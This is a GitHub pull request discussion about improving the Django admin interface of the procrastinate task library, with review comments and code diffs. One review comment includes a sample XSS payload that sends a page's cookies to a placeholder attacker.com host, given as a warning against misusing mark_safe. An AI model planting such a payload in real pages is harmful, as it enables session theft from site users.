Make django Admin interface support slightly better UX wise #1140

ticosax · 2024-08-01T15:42:19Z

Display some fields on table view ["task_name", "queue_name", "attempts", "status"]
Allow to filter on status
Display Events inline

Sorry no screenshot.

Closes ø

Successful PR Checklist:

Tests
- (not applicable?)
Documentation
- (not applicable?)

PR label(s):

PR type: breaking 💥 Contains breaking changes
PR type: feature ⭐️ Contains new features
PR type: bugfix 🕵️ Contains bug fix
PR type: miscellaneous 👾 Contains misc changes
PR type: dependencies 🤖 Contains only dependencies updates
PR type: documentation 📚 Contains documentation updates

github-actions · 2024-08-01T15:45:04Z

Coverage report

Click to see where and how coverage changed

File	Statements	Missing	Coverage	Coverage (new stmts)	Lines missing
procrastinate/contrib/django
models.py					106, 134
Project Total

_{This report was generated by python-coverage-comment-action}

ewjoachim · 2024-08-01T17:51:38Z

Hi there ! Thank you for your contribution ! As mentioned in the 2.0 release note:

The Admin panels are very very basic for now

😅

Thank you for tackling this, but if you have some spare time, I think we could go a bit further!

I think it would make sense if the first list_display element stays the pk. That or the call_string (potentially in a <code> tag)
OR I think it makes sense if the kwargs stay displayed in the listing view. It might make sense to pretty-print them and put them in a <pre> tag.
It might make sense to only display the name of the task function and not the module names, optionally keep the initials (p.d.d.t.index_book)
Would it make sense to include a brief summary of the last event too ? ("deferred 5 minutes ago" with a title mentioning the exact date time)

I tend to find proper use of bold, italics, underline etc, and the occasional emoji very interesting to improve readability. Anything that helps.
Colors can be nice though with some caveats: there are colorblind people, so color should duplicate some info, not be the only way to get some info. Can be text color or background color. Django Admin now supports both light and dark mode, so we need to check contrast with both.

Regarding the details view, I like the addition of events as inline. I think the only thing worth bikeshedding is the order of fields. I'd say: id, task name, args, status, queue, lock, queuing lock, priority, scheduled at, attempts

Thanks a lot :) If you'd rather not spend longer on this, please let us know, we can merge thing and follow up for other changes.

ticosax · 2024-08-02T07:53:21Z

Thanks for the feedback. I'll to see how far I can get to incorporate all the suggestions.
Stay tuned

ticosax · 2024-08-06T09:50:38Z

Would it make sense to include a brief summary of the last event too ? ("deferred 5 minutes ago" with a title mentioning the exact date time)

It would mean introducing another dependency similar to humanize to pretty print the timedelta.
I don't think it's worth it.

I will push my interpretation of your feedback. They improve even more the readability. I hope it matches your expectations :)

ewjoachim · 2024-08-06T22:31:21Z

I could be wrong but timesince doesn't require humanize, does it ? (There's a python callable version in django.utils.timesince, I believe) (note: maybe I missed a deprecation notice or something?)

ticosax · 2024-08-08T07:40:36Z

I could be wrong but timesince doesn't require humanize, does it ? (There's a python callable version in django.utils.timesince, I believe) (note: maybe I missed a deprecation notice or something?)

you didn't missed anything. I did. Thanks for the pointer. I will look into it.

- Display some fields on table view ["task_name", "queue_name", "attempts", "status"] - Allow to filter on status - Display Events inline

for more information, see https://pre-commit.ci

Also, add many other parts to the summary

…n too

ewjoachim · 2024-08-08T21:41:20Z

I've added a few commit for additional ideas. Here's the result:

Screen.Recording.2024-08-08.at.23.28.07.mov

I'm ready to merge. If you're ready too, then let's merge. (Waiting for your input in case you want to read/comment my commits).

ewjoachim

Stellar job 🤩, inspiring and fun. Love it (love it so much I wanted to play too 😬)

ewjoachim · 2024-08-08T21:53:12Z

procrastinate/contrib/django/admin.py

+        indent = 2 if len(instance.args) > 1 or len(str(instance.args)) > 30 else None
+        pretty_json = json.dumps(instance.args, indent=indent)
+        if len(pretty_json) > 2000:
+            pretty_json = pretty_json[:2000] + "..."
+        return format_html(
+            '<pre style="margin: 0">{pretty_json}</pre>', pretty_json=pretty_json
+        )


Just so you know: it's dangerous to mark_safe elements that can be controlled by external sources. format_html is exactly made for this: the html will be marked safe, but the dynamic elements within will be escaped.

Imagine if someone submitted a task with {"tag": "</pre><script>fetch('http://attacker.com/?'+document.cookies); </script><pre>"} 😱

Whenever you use mark_safe, you have a 50/50 (rough estimate 😄 ) chance of introducing a XSS vulnerability. Only use that in last resort, and only if you're sure that you're doing it on 100% safe text.

ewjoachim · 2024-08-08T22:01:31Z

procrastinate/contrib/django/admin.py

+    @admin.display(description="Summary")
+    def summary(self, instance: models.ProcrastinateJob) -> str:
+        if last_event := instance.procrastinateevent_set.latest():  # type: ignore[attr-defined]
+            return mark_safe(


Here, mark_safe is safe because external values got escaped when the template was rendered, so the result of the temple is actually safe

ticosax · 2024-08-08T23:19:27Z

Very nice Thanks for the additions. You can merge it.

ticosax requested a review from a team as a code owner August 1, 2024 15:42

github-actions bot added the PR type: miscellaneous 👾 Contains misc changes label Aug 1, 2024

Make django Admin interface support slightly better UX wise

ba1060d

- Display some fields on table view ["task_name", "queue_name", "attempts", "status"] - Allow to filter on status - Display Events inline

ticosax force-pushed the admin-filters branch 2 times, most recently from 43299de to ba1060d Compare August 8, 2024 14:27

pre-commit-ci bot and others added 5 commits August 8, 2024 14:28

[pre-commit.ci] auto fixes from pre-commit.com hooks

e260037

for more information, see https://pre-commit.ci

Move summary.html to procrastinate/admin/summary.html to avoid shadowing

6086a96

Also, add many other parts to the summary

Continue improving the admin with small details

de8593c

Add __str__ to procrastinate models to improve appearance in the admi…

97f6248

…n too

Ensure the admin status emojis won't get out of sync with real statuses

7a6c2a4

ewjoachim approved these changes Aug 8, 2024

View reviewed changes

Add __str__ for events too

ed99be3

ewjoachim reviewed Aug 8, 2024

View reviewed changes

ewjoachim merged commit 112f2c8 into procrastinate-org:main Aug 9, 2024
11 checks passed

ticosax deleted the admin-filters branch August 9, 2024 11:15

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Make django Admin interface support slightly better UX wise #1140

Make django Admin interface support slightly better UX wise #1140

ticosax commented Aug 1, 2024

github-actions bot commented Aug 1, 2024 •

edited

Loading

ewjoachim commented Aug 1, 2024 •

edited

Loading

ticosax commented Aug 2, 2024

ticosax commented Aug 6, 2024

ewjoachim commented Aug 6, 2024

ticosax commented Aug 8, 2024

ewjoachim commented Aug 8, 2024 •

edited

Loading

ewjoachim left a comment

ewjoachim Aug 8, 2024 •

edited

Loading

ticosax Aug 8, 2024

ewjoachim Aug 8, 2024

ticosax commented Aug 8, 2024

Make django Admin interface support slightly better UX wise #1140

Make django Admin interface support slightly better UX wise #1140

Conversation

ticosax commented Aug 1, 2024

Successful PR Checklist:

PR label(s):

github-actions bot commented Aug 1, 2024 • edited Loading

Coverage report

ewjoachim commented Aug 1, 2024 • edited Loading

ticosax commented Aug 2, 2024

ticosax commented Aug 6, 2024

ewjoachim commented Aug 6, 2024

ticosax commented Aug 8, 2024

ewjoachim commented Aug 8, 2024 • edited Loading

ewjoachim left a comment

Choose a reason for hiding this comment

ewjoachim Aug 8, 2024 • edited Loading

Choose a reason for hiding this comment

ticosax Aug 8, 2024

Choose a reason for hiding this comment

ewjoachim Aug 8, 2024

Choose a reason for hiding this comment

ticosax commented Aug 8, 2024

github-actions bot commented Aug 1, 2024 •

edited

Loading

ewjoachim commented Aug 1, 2024 •

edited

Loading

ewjoachim commented Aug 8, 2024 •

edited

Loading

ewjoachim Aug 8, 2024 •

edited

Loading